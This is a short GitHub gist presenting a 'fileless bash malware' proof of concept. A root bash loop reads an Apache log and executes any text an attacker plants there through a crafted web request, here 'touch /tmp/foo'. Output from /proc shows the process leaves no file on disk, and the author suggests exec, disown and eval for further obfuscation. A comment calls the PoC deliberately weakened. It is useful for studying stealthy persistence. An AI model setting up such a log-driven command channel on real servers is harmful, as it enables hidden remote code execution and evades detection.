Skip to content

Instantly share code, notes, and snippets.

@timb-machine
Last active September 19, 2022 18:26
Show Gist options
  • Star 5 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save timb-machine/7bd75479ee29aee8762952ea16908eb0 to your computer and use it in GitHub Desktop.
Save timb-machine/7bd75479ee29aee8762952ea16908eb0 to your computer and use it in GitHub Desktop.
Fileless bash malware PoC
$ echo "while :; do grep "BAH~" /var/log/apache2/interesting.log | cut -f 2 -d \"~\" | tr '_' ' '; done" | exec bash
$ wget --no-check-certificate 'https://interesting/?BAH~touch_/tmp/foo~'
root 10680 10679 0 21:27 pts/1 00:00:00 /bin/bash
root 11125 10680 17 21:27 pts/1 00:00:02 bash
$ ls /proc/11125/fd
total 0
dr-x------ 2 root root 0 Jun 28 21:27 .
dr-xr-xr-x 9 root root 0 Jun 28 21:27 ..
lr-x------ 1 root root 64 Jun 28 21:28 0 -> pipe:[290558013]
lrwx------ 1 root root 64 Jun 28 21:28 1 -> /dev/pts/1
lrwx------ 1 root root 64 Jun 28 21:27 2 -> /dev/pts/1
$ cat /proc/11125/cmdline
bash
cat /proc/11125/cwd
/root
Things like exec/disown/patterns/eval add some fun options for further obfuscation...
@timb-machine
Copy link
Author

This PoC is nobbled. Just in case anyone is confused. The point is rather the "| exec bash" rather than the payload specifics.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment